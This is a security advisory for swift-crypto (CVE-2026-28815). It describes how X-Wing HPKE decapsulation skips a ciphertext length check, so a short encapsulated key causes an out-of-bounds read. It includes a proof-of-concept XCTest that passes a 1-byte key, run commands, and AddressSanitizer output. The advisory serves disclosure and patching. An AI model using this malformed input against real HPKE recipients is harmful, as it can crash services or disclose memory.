GHSA-9M44-RR2W-PPP7
Vulnerability from github – Published: 2026-04-03 03:39 – Updated: 2026-04-03 03:39Summary
The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter Data value is passed in, because the C code may read beyond the Swift buffer.
The issue is reachable through initialization of an HPKE.Recipient, which decapsulates the provided encapsulatedKey during construction. A malformed encapsulatedKey can therefore trigger undefined behavior instead of a safe length-validation error.
Details
The decapsulate function of OpenSSLXWingPrivateKeyImpl does not perform a length check before passing the encapsulated data to the C API.
func decapsulate(_ encapsulated: Data) throws -> SymmetricKey {
try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in
try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in
let rc = CCryptoBoringSSL_XWING_decap(
sharedSecretBytes.baseAddress,
encapsulatedSecretBytes.baseAddress,
&self.privateKey
)
guard rc == 1 else {
throw CryptoKitError.internalBoringSSLError()
}
count = Int(XWING_SHARED_SECRET_BYTES)
}
}
}
The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.
#define XWING_CIPHERTEXT_BYTES 1120
OPENSSL_EXPORT int XWING_decap(
uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],
const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],
const struct XWING_private_key *private_key);
Since decapsulate accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a HPKE.Recipient. This creates a new HPKE.Context, which decapsulates the attacker-controlled enc argument:
init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {
let sharedSecret = try skR.decapsulate(enc)
self.encapsulated = enc
self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)
}
PoC
This PoC constructs an HPKE.Recipient using the X-Wing ciphersuite and deliberately passes a 1-byte encapsulatedKey instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a dynamic-stack-buffer-overflow read, confirming memory-unsafe behavior.
//===----------------------------------------------------------------------===//
//
// PoC for X-Wing malformed ciphertext-length decapsulation:
// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.
//
// This test is intentionally unsafe and is expected to crash (or trip ASan)
// on vulnerable builds when run.
//
//===----------------------------------------------------------------------===//
#if canImport(FoundationEssentials)
import FoundationEssentials
#else
import Foundation
#endif
import XCTest
#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
// Skip tests that require @testable imports of CryptoKit.
#else
#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
@testable import CryptoKit
#else
@testable import Crypto
#endif
final class XWingMalformedEncapsulationPoCTests: XCTestCase {
func testShortEncapsulatedKeyHPKERecipientInit() throws {
if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {
let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256
let skR = try XWingMLKEM768X25519.PrivateKey.generate()
let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes
// Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)
_ = try HPKE.Recipient(
privateKey: skR,
ciphersuite: ciphersuite,
info: Data(),
encapsulatedKey: malformedEncapsulatedKey
)
XCTFail("Unexpectedly returned from malformed decapsulation path")
}
}
}
#endif // CRYPTO_IN_SWIFTPM
Steps
- Add the PoC XCTest above to the test suite.
- Run the PoC normally to verify that malformed input is not rejected by length:
bash swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit - Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:
bash swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit
Results
Normal run
The PoC test reaches the XCTFail path. HPKE.Recipient(...) accepted a 1-byte X-Wing encapsulated key instead of rejecting it for incorrect length.
Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started
... failed - Unexpectedly returned from malformed decapsulation path
AddressSanitizer run
The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.
ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
READ of size 1
...
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow
==...==ABORTING
Impact
A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.
Reported by Cantina.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.3.0"
},
"package": {
"ecosystem": "SwiftURL",
"name": "swift-crypto"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28815"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T03:39:38Z",
"nvd_published_at": "2026-04-03T03:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer.\n\nThe issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error.\n\n### Details\n\nThe `decapsulate` function of `OpenSSLXWingPrivateKeyImpl` does not perform a length check before passing the `encapsulated` data to the C API.\n\n```swift\nfunc decapsulate(_ encapsulated: Data) throws -\u003e SymmetricKey {\n try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in\n try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in\n let rc = CCryptoBoringSSL_XWING_decap(\n sharedSecretBytes.baseAddress,\n encapsulatedSecretBytes.baseAddress,\n \u0026self.privateKey\n )\n guard rc == 1 else {\n throw CryptoKitError.internalBoringSSLError()\n }\n count = Int(XWING_SHARED_SECRET_BYTES)\n }\n }\n}\n```\n\nThe C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.\n\n```c\n#define XWING_CIPHERTEXT_BYTES 1120\n\nOPENSSL_EXPORT int XWING_decap(\n uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],\n const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],\n const struct XWING_private_key *private_key);\n```\n\nSince `decapsulate` accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a `HPKE.Recipient`. This creates a new `HPKE.Context`, which decapsulates the attacker-controlled `enc` argument:\n\n```swift\ninit\u003cPrivateKey: HPKEKEMPrivateKey\u003e(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {\n let sharedSecret = try skR.decapsulate(enc)\n self.encapsulated = enc\n self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)\n}\n```\n\n### PoC\n\nThis PoC constructs an `HPKE.Recipient` using the X-Wing ciphersuite and deliberately passes a 1-byte `encapsulatedKey` instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a `dynamic-stack-buffer-overflow` read, confirming memory-unsafe behavior.\n\n```swift\n//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM \u0026\u0026 !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n func testShortEncapsulatedKeyHPKERecipientInit() throws {\n if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n // Vulnerable path: HPKE.Recipient -\u003e skR.decapsulate(enc) -\u003e XWING_decap(...)\n _ = try HPKE.Recipient(\n privateKey: skR,\n ciphersuite: ciphersuite,\n info: Data(),\n encapsulatedKey: malformedEncapsulatedKey\n )\n\n XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n }\n }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\n```\n\n#### Steps\n\n1. Add the PoC XCTest above to the test suite.\n2. Run the PoC normally to verify that malformed input is not rejected by length:\n ```bash\n swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n ```\n3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:\n ```bash\n swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n ```\n\n#### Results\n\n##### Normal run\n\nThe PoC test reaches the `XCTFail` path. `HPKE.Recipient(...)` accepted a `1`-byte X-Wing encapsulated key instead of rejecting it for incorrect length.\n\n```text\nTest Case \u0027XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit\u0027 started\n... failed - Unexpectedly returned from malformed decapsulation path\n```\n\n##### AddressSanitizer run\n\nThe sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.\n\n```text\nERROR: AddressSanitizer: dynamic-stack-buffer-overflow\nREAD of size 1\n...\nSUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow\n==...==ABORTING\n```\n\n### Impact\n\nA remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.\n\nReported by Cantina.",
"id": "GHSA-9m44-rr2w-ppp7",
"modified": "2026-04-03T03:39:38Z",
"published": "2026-04-03T03:39:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28815"
},
{
"type": "PACKAGE",
"url": "https://github.com/apple/swift-crypto"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.